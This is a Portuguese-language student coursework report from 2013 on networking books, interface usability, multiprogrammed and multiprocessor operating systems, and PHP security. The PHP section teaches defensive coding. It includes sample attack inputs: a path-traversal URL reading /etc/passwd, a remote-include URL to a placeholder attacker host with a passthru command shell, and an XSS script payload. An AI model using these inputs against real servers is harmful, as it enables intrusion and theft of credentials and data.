Você está na página 1de 20

SISTEMA DE ENSINO PRESENCIAL CONECTADO TECNOLOGIA EM ANALISE E DESENVOLVIMENTO DE SISTEMAS CRISTINA PILGER MANFIO

PRODUO TEXTUAL INTERDISCIPLINAR- INDIVIDUAL

Frederico Westphalen 2013

CRISTINA PILGER MANFIO

PRODUO TEXTUAL INTERDISCIPLINAR- INDIVIDUAL

Trabalho apresentado ao curso de Tecnologia em Anlise e Desenvolvimento de Sistemas da UNOPARUniversidade Norte do Paran, como requisito para a obteno de mdia semestral nas disciplinas do 5 semestre. Prof. : Reinaldo Nishikawa Marco Ikuro Hisatomi Adriane Aparecida Loper Everson Morais Paulo Kiyoshi Nishitani Veronice de Freitas

Frederico Westphalen 2013

SUMRIO 1 INTRODUO...........................................................................................................3 2 Livros redes de computadores...................................................................................4 3 Como a informao apresentada ao usurio .........................................................5 4 sistemas multiprgramveis.........................................................................................6 5 Sistemas com Mltiplos Processadores....................................................................9 6 Segurana De cdigos php......................................................................................11 7 Projeto de Sistemas.................................................................................................17 8 CONCLUSO...........................................................................................................18 REFERNCIAS..........................................................................................................19

1 INTRODUO

Este trabalho tem o objetivo de apresentar todos os conceitos relacionados aos temas propostos no portflio individual interdisciplinar. Foi criada uma lista de livros de Redes de Computadores. Trata tambm a Comunicabilidade, o objetivo desse conceito como a informao apresentada ao usurio para trazer benefcios e como podemos aplicar este conceito em nossa locadora de livros. Apresenta tambm uma pesquisa sobre sistemas multiprogramveis e sistemas com mltiplos processadores, identificando suas caractersticas predominantes. Atravs de pesquisas na rede mundial de computadores foi elaborada uma pesquisa sobre segurana em cdigos PHP. Por fim, foi descrito como atender as necessidades desse projeto com base nos conhecimentos da disciplina Projeto de sistemas.

2 LIVROS REDES DE COMPUTADORES Ttulo: Redes de Computadores Autor: Andrew S. Tanenbaum Editora: Campus Ano: 2003 Ttulo: Redes de Computadores Autor: Gabriel Torres Editora: Novaterra Ano: 2009 Ttulo: Redes de Computadores e Internet Autor: Douglas E. Comer Editora: BOOKMAN COMPANHIA EDITORA LTDA Ano: 2007 Ttulo: Arquitetura de Redes de Computadores Autor: Luiz Paulo Maia Editora: LTC Ano: 2009 Ttulo: Redes de Computadores e a Internet: Uma abordagem top-down Autor: James F. Kurose e Keith W. Ross Editora: Pearson Ano: 2005 Ttulo: Redes de Computadores Autor: Diane Barrett e Todd King Editora: LTC Ano: 2010

3 COMO A INFORMAO APRESENTADA AO USURIO necessrio no decorrer do projeto ter ateno com o processo de informaes em sua interface e de acordo com pesquisas realizadas os desenvolvedores realizam teste com usurios finais para que lhe sejam testadas os softwares ,para que sejam feitas testes de aceitao do usurio em sua utilizao. Com o projetos da locadora de livros no pode ser diferente, com isso baseamos em outros projetos de cadastro semelhante ao da locadora de livros. No estudo de caso proposto (Nossa Locadora de Livros) e trabalhando dentro do eixo temtico, podemos aplicar em nosso sistema interface grfica de apresentao intuitiva e amigvel, buscando assim uma maior interatividade homem-ambiente, sempre na viso de prestar o melhor para nossos clientes. Uma vez o cliente se sentindo confortvel na navegabilidade o teremos sempre como cliente e como divulgador dos nossos servios. Visando a acessibilidade poderemos implementar aplicativos para usurios com deficincia, nas variadas formas (auditiva, visual, cognitiva, dficit de aprendizagem e ademais), buscando assim expandir a clientela usurios do nosso sistema e consumidores dos nossos produtos, ressalvando, sem deixar de cumprir nosso papel social e inclusivo. Somando a estrutura esttica com as funcionalidades do aplicativo sempre se lembrando da segurana do sistema e do banco de dados que pensamos nestas implementaes, claro, sem esquecer de facilitar o uso de nossa ferramenta. O resultado esperado com o aprimoramento neste estudo de caso e o aumento significativo de visitas de provveis consumidores, gratuitos divulgadores e uma expanso no mercado virtual.

4 SISTEMAS MULTIPRGRAMVEIS Os sistemas multiprogramveis so uma evoluo dos sistemas monoprogramveis. Neste tipo de sistema, os recursos computacionais so compartilhados entre os diversos usurios e aplicaes. Enquanto um programa espera por uma operao de leitura ou gravao em disco, outros programas podem estar sendo processados neste mesmo intervalo de tempo. Neste caso, podemos observar o compartilhamento de processador e de memria. O sistema operacional se preocupa em gerenciar o acesso concorrente aos seus diversos recursos de forma ordenada e protegida. Vantagem: A reduo do tempo de resposta das aplicaes processadas no ambiente e de custos, a partir do compartilhamento dos diversos recursos do sistema entre as diferentes aplicaes. Desvantagem: Apesar de mais eficientes que os monoprogramveis, so de implementao muito mais complexa e exigem mais recursos. Os sistemas multiprogramveis podem tambm ser classificados pela forma com que suas aplicaes so gerenciadas, podendo ser divididos em sistemas batch, de tempo compartilhado ou de tempo real.

I. Sistemas batch Foram os primeiros tipos de sistemas operacionais multiprogramveis a serem implementados. Os programas, tambm chamados de Jobs, eram submetidos para execuo atravs de cartes perfurados e armazenados em disco ou fita, onde aguardavam para serem processados. Posteriormente, em funo da disponibilidade de espao na memria principal, os Jobs eram executados, produzindo uma sada em disco ou fita. Tem a caracterstica de no exigir a interao do usurio com a aplicao. Todas as entradas e sadas de dados so implementadas por algum tipo de memria secundria, geralmente arquivos em disco. II. Sistemas de Tempo Compartilhado Permitem que diversos programas sejam executados a partir da diviso do tempo do processador em pequenos intervalos, denominados fatia de tempo (time-slice). Caso a fatia de tempo no seja suficiente para a concluso do programa, esse interrompido pelo sistema operacional e substitudo por outro, enquanto fica aguardando por uma nova fatia de tempo. O sistema cria um ambiente de trabalho prprio, dando a impresso de que todo o sistema est dedicado, exclusivamente, para cada usurio. Geralmente, sistemas de tempo compartilhado permitem a interao dos usurios com o sistema atravs de terminais que incluem vdeo, teclado e mouse. III. Sistemas de tempo real So implementados de forma semelhante dos sistemas de tempo compartilhado. A diferena o tempo de resposta exigido no processamento das aplicaes. Tempos de resposta devem estar dentro de limites rgidos, que devem ser obedecidos, quando bem projetados, podem ser bastante eficientes, caso contrrio podero ocorrer problemas irreparveis. Nestes sistemas no existe a idia de fatia de tempo. Um programa utiliza o processador o tempo que for necessrio ou at que aparea outro mais prioritrio. Esses sistemas normalmente esto presentes em aplicaes de controle de processos, como no monitoramento de refinarias de

petrleo ou controle de trfego areo.

5 SISTEMAS COM MLTIPLOS PROCESSADORES Os sistemas com mltiplos processadores caracterizam-se por possuir duas ou mais CPUs interligadas e trabalhando em conjunto. A vantagem desse tipo de sistema permitir que vrios programas sejam executados ao mesmo tempo ou que um mesmo programa seja subdividido em partes para serem executadas simultaneamente em mais de um processador. Com mltiplos processadores foi possvel a criao de sistemas computacionais voltados principalmente para o processamento cientfico aplicado, por exemplo, no desenvolvimento aeroespacial, meteorologia, simulaes, etc. Um fator chave no desenvolvimento de SOs com mltiplos

processadores a forma de comunicao entre as CPUs e o grau de compartilhamento da memria e dos dispositivos de E/S. Em funo desses fatores, podemos classificar os sistemas com mltiplos processadores em fortemente acoplados e fracamente acoplados.

I. Sistemas fortemente acoplados Num sistema fortemente acoplado dois ou mais processadores compartilham uma nica memria e so controlados por um nico sistema operacional. Um sistema fortemente acoplado utilizado geralmente em aplicaes

10

que fazem uso intensivo da CPU e cujo processamento dedicado soluo de um nico problema. Os sistemas fortemente acoplados podem ser divididos em simtricos ou assimtricos. Os simtricos caracterizam-se pelo tempo uniforme de acesso memria principal pelos diversos processadores. Neste tipo de processamento todos os processadores executam a mesma funo. Um programa pode ser executado por qualquer processador, inclusive por vrios processadores ao mesmo tempo (paralelismo). Alm disso, quando um processador falha o sistema continua em funcionamento, porm com uma capacidade menor de processamento. Os assimtricos ou mestre / escravo (master / slave) somente um processador (mestre) pode executar servios do Sistema Operacional. Sempre que um processador do tipo escravo necessitar executar uma operao, ter que requisitar ao processador mestre. Dependendo do nmero de operaes efetuados pelos processadores escravo, o sistema pode se tornar ineficiente devido ao elevado nmero de interrupes tratadas pelo mestre. Se o processador mestre falhar, todo o sistema ficar incapaz de continuar o processamento. Neste caso o sistema dever ser reconfigurado, fazendo que um processador escravo assuma o papel de mestre. II. Sistemas fracamente acoplados Caracterizam-se por possuir dois ou mais sistemas computacionais conectados atravs de linhas de comunicao. Cada sistema funciona de forma independente, possuindo seu prprio sistema operacional e gerenciando seus prprios recursos. Podemos dividir os sistemas fracamente acoplados em sistemas operacionais de rede e sistemas distribudos . Os sistemas operacionais de rede (SORs) permitem que um host compartilhe seus recursos com os demais hosts da rede. Alm disso, os usurios tm o conhecimento dos hosts e seus servios. J, nos sistemas distribudos , o sistema operacional esconde os detalhes dos hosts individuais e passa a trat-los como um conjunto nico. Os sistemas distribudos permitem que uma aplicao seja dividida em partes e que cada parte seja executada por hosts diferentes da rede de computadores. Para o usurio e suas aplicaes como se no existisse a rede de computadores, mas sim um nico sistema centralizado.

11

6 SEGURANA DE CDIGOS PHP Geralmente uma parcela grande dos programadores iniciantes (e infelizmente alguns mais 'experientes' tambm) acabam esquecendo de se preocupar com a segurana dos seus scripts e falhas simples acabam se tornando um grande problema. Eu mostrarei uma lista das falhas mais comuns que podemos encontrar e apesar de parecerem banais, so muito encontrados nos dias de hoje. Register Globals No php.ini a varivel register_globals at a verso 4.2.0 o padro era on(ativada), porm a partir dela o padro tornou-se off (desativada), mas muitos servidores ainda usam on, pois muitos scripts antigos foram feitos com base o register_globals on, ento obviamente no funcionam quando o padro off.O que acontece quando register_globals est on, variveis GET/POST, etc se tornam variveis globais. Por exemplo: http://example.com/test.php?id=4&shoes=cake Como register_globals est on, as variveis id e shoes tornaram-se variveis globais. <?php echo $id; // 4 echo $shoes; // cake ?> O problema que isso permite que variveis sejam injetadas via url. Um script problemtico poderia ser um como esse: <?php if(AuthenticateUser($user, $pass)) { $loggedin = 1; } // se tiver valor 1 como se fosse autenticado if($loggedin == 1) { // stuff here that only a logged in user can see.

12

include("admin.php"); } ?> Agora se algum chamasse a url test.php?loggedin=1. O script entenderia que a pessoa est logada, pois $loggedin se tornou uma varivel global com o valor 1. Uma 'correo' simples seria assim: <?php if(AuthenticateUser($user, $pass)) { $loggedin = 1; } else { $loggedin = 0; } ?> Desse modo, at mesmo se o $loggedin for injetado via url, ele se tornaria 0. Com register_globals off, variveis que so passadas como parmetro via url, no se tornam variveis globais. A forma certa de usar voc simplesmente usar as 'superglobals' que so $_GET, $_POST, $_SERVER, etc. O uso de superglobals sempre preferido por razes de segurana e isso tambm deixa o cdigo mais limpo e seguro. Pois voc sabe quais variveis esto vindo do GET/POST e quais no esto. Arquivos include A maioria das pessoas no quer ter o site inteiro em um nico arquivo '.php' e isso bem aceitvel em relao a questes de organizao e de atualizao de cdigo, ento geralmente usam vrios arquivos separados. Dessa forma pode-se fazer, por exemplo, um cabealho e um rodap mais facilmente. Considere este exemplo: <?php //aqui ficaria o cabealho

13

$page = $_GET['page']; include($page); //aqui ficaria o rodap Deste modo, possvel colocar contedos especficos em arquivos separados. Exemplo: about.php, download.php, e o link para essas paginas seriam algo como: index.php?page=about, index.php?page=downloads.php. Existem dois problemas em relao a isso... Se algum chama a pgina dessa forma index.php?page =.. /.. /.. /.. /.. /.. /.. /etc/passwd. Dessa forma seu arquivo de senhas fica vulnervel para ser visualizado, ou qualquer outro arquivo que esta rodando sob o PHP (HTTPD ou Apache normalmente), pode ser lido por qualquer usurio. O outro problema se 'URL Wrapper' estiver on (como ele por padro), ento algum pode fazer um upload de um arquivo para um outro Web server. Outro exemplo: <?php passthru($_GET['cmd']); ?> Coloque na url: index.php?page= http://evilbastard.com/h ax0r.txt &cmd=whoami e poder ento rodar qualquer comando em seu servidor ou poder mostrar detalhes da sua conexo com o banco de dados, basicamente rodar qualquer cdigo PHP em seu servidor. A funo include pega um arquivo de um servidor, e ento executa isso como um cdigo PHP, algo que obviamente muito perigoso. Um mtodo seguro de incluir arquivos seria como o abaixo: <?php //cabealho do site $page = $_GET['page']; //para ter certeza que $page alfanumrico. if(eregi("^[a-z0-9\-_\.]+$", $page, $regs)) { $dir = "includes/"; //pode ser branco

14

$ext = ".php"; //.php, .html, .txt, whatever if(file_exists($dir . $page . $ext)) { include($dir . $page . $ext); //ou outro tipo de extenso se no for necessariamente um arquivo .php } else { echo '404 - Not Found'; //ou algo similar } } else { echo 'Naughty Naughty, very Naughty.'; /rodap do site } ?> Ento o link: index.php?page=about (assumiria about.php dentro do diretrio 'includes'). Se voc sabe que o arquivo que ser includo no conte cdigo PHP e sim apenas texto, ento pode ser melhor usar readfile() ao invs de include()/require(), pois ambos iro executar qualquer cdigo PHP que eles encontrarem algo que o readifle no ir. Usando um diretrio separado para incluir arquivos, pode ser timo como uma forma de parar urls do tipo: "includes/http://blah.com/lala.txt" que no ir funcionar. Isso no realmente necessrio se um utilizar um ereg como filtro nas urls. Algumas pessoas nomeiam os arquivos que sero includos com a extenso '.inc', isso muito perigoso, pois .'inc' no interpretado como um cdigo PHP pelo Web server e ser visualizvel no navegador como um texto na pagina. Isso parece algo banal, mas infelizmente muitos usam arquivos do tipo 'config.inc' que contem senhas de banco de dados etc, algo que torna o sistema muito inseguro... Arquivos que sero includos devem ter a extenso .php, pode ser exemplo.inc.php se voc realmente quer que o nome contenha '.inc', algo que eu acho desnecessrio. Voc deve mant-los fora do diretrio root por uma pequena questo adicional de segurana.

15

Cross Site Scripting (CSS/XSS) Cross Site Scripting feito quando voc no filtra tags HTMLs vindas de um usurio e acaba executando elas, por exemplo. <?php if(mysql_num_rows($result) < 1) { echo "Your search for {$_GET['q']} yielded no results"; exit; } else { //blah } ?> search.php?q=<script>alert("hello");</script> Em uma busca mal sucedida exibiria isto; "Your search for <script>alert("hello");</script> yielded no results" Esse Javascript seria interpretado pelo navegador e uma alerta seria exibido. Enquanto esse exemplo pode parecer relativamente inofensivo, possvel colocar coisas que iro pegar dados de cookies, podendo at roubar sesses, porem isso fica pro prximo artigo. Os dados devem ser checados antes de serem interpretados sempre, como no caso de SQL injection, em XSS tambm, existem dois mtodos para fazer isso: A funo strip_tags(); Ir remover todas as tags HTML de uma string; A funo htmlspecialchars(); Que ir converter caracteres especiais do HTML para um tipo que no poder ser interpretado no browser como funo do HTML e sim texto. <?php echo "Your search for ".htmlspecialchars($_GET['q'])." yielded no results"; //convert echo "Your search for ".strip_tags($_GET['q'])." yielded no results"; //remove ?> O correto que nenhum valor vindo de um usurio deve ser executado sem uma devida checagem antes.

16

SQL Injection Um problema que afeta praticamente todas as linguagens de programao que acessam bancos de dados a vulnerabilidade de SQL Injection. Esta vulnerabilidade permite que um usurio que acesse um cdigo que contenha uma requisio a um banco de dados SQL, insira quaisquer comando nesta requisio. A vulnerabilidade consiste em aproveitar a estrutura da linguagem SQL, que utiliza aspas simples para delimitar um contedo texto. Quando se utiliza diretamente o contedo de uma varivel passada pelo cliente, pode-se adicionar uma aspa, e continuar os comandos SQL nesta varivel. Isso far com que o SQL execute o comando inicialmente escrito pelo desenvolvedor; feche a aspa e depois continue com o cdigo malicioso. H a possibilidade, ainda, de utilizar-se um ponto e vrgula, para incluir um novo comando SQL na mesma execuo.

17

7 PROJETO DE SISTEMAS I) Planejar o seu sistema significa velocidade de desenvolvimento, reduo de custos, menos manuteno, mais produtividade e vantagem competitiva. A anlise e projeto de sistemas so processos que envolvem: o levantamento de informaes por analista de sistemas sobre necessidades especficas do negcio da empresa; o estudo, organizao e ilustrao das necessidades; e a elaborao da soluo que ser utilizada no desenvolvimento do sistema. Segue os passos das atividades descritos para esse sistema. - Objetivo da Implantao. - Coleta de dados - Anlise de dados - Especificao de requisitos - Construo - Documentao - Testes - Implantao II) Cronograma De Atividades CRONOGRAMA ATIVIDADES COLETA DADOS ANLISE DADOS REQUISITOS CONSTRUO DOCUMENTAO TESTES IMPLANTAO DE DE 1 2 3 4 5 6 7 8 9 10

18

8 CONCLUSO Ao trmino deste trabalho conclui que este estudo tornou o ensino deste contedo mais prtico e abrangente, de forma a despertar o interesse do aluno, o seu esprito de pesquisa e a busca de informaes tornando-o um profissional crtico e de opinio slida. Existem diversos tipos de sistemas operacionais, que esto relacionados com o tipo de configurao de hardware disponvel e a aplicao que ser dada ao sistema de computao. Podemos ter sistemas para gerenciar um nico programa de cada vez (monoprogramao) ou vrios programas ao mesmo tempo (multiprogramao). Tambm podemos ter sistemas com um nico processador (monoprocessamento) ou com mltiplos processadores (multiprocessamento). O PHP uma linguagem de script Open Source, muito utilizada e especialmente guarnecida para o desenvolvimento de aplicaes Web. Por ser uma linguagem poderosa e relativamente de fcil compreenso torna-se um fator positivo para as pessoas que desejam aprender a programar, porm se torna um problema j que poucos se importam em aprender algo sobre segurana e acabam escrevendo seus cdigos bastante frgeis. Muitos iniciantes em programao por falta de informao necessria acabam escrevendo seus cdigos com falhas, algumas banais. Em algumas linguagens isso no um problema grave, porm toda tecnologia que voltado para Web torna-se bastante propicia a ataques j que fica em contato com diversas pessoas diferentes no mundo inteiro.

19

REFERNCIAS Mateus, Elo Jane Fernandes. Sistemas operacionais: sistemas V/ Elo Jane Fernandes Mateus. -So Paulo: Pearson Education do Brasil, 2010. Hisatomi, Marco Ikuro. Projeto de Sistemas/ Marco Ikuro Hisatomi. -So Paulo: Pearson Education do Brasil, 2010. Morais, Everson Matias de. Projeto interface homen-computador/ Everson Matias de Morais. -So Paulo: Pearson Education do Brasil, 2010. Nishitani, Paulo Kiyoshi. Redes de Computadores: sistemas V/ Paulo Kiyoshi Nishitani. -So Paulo: Pearson Prentice Hall, 2010 http://web.ist.utl.pt/nuno.lopes/pres/seguranca-php.pdf http://hospedagem2.procergs.com.br/tutorial/PROCERGS-PHP-Seguro.pdf http://phpbrasil.com/artigo/XuDSPUk0Ke9t/principais-erros-de-seguranca-emcodigos-php http://www.ebah.com.br/content/ABAAABlZUAH/apostila-sistemas-operacionais http://www.truenet.com.br/vivianef/SOI.html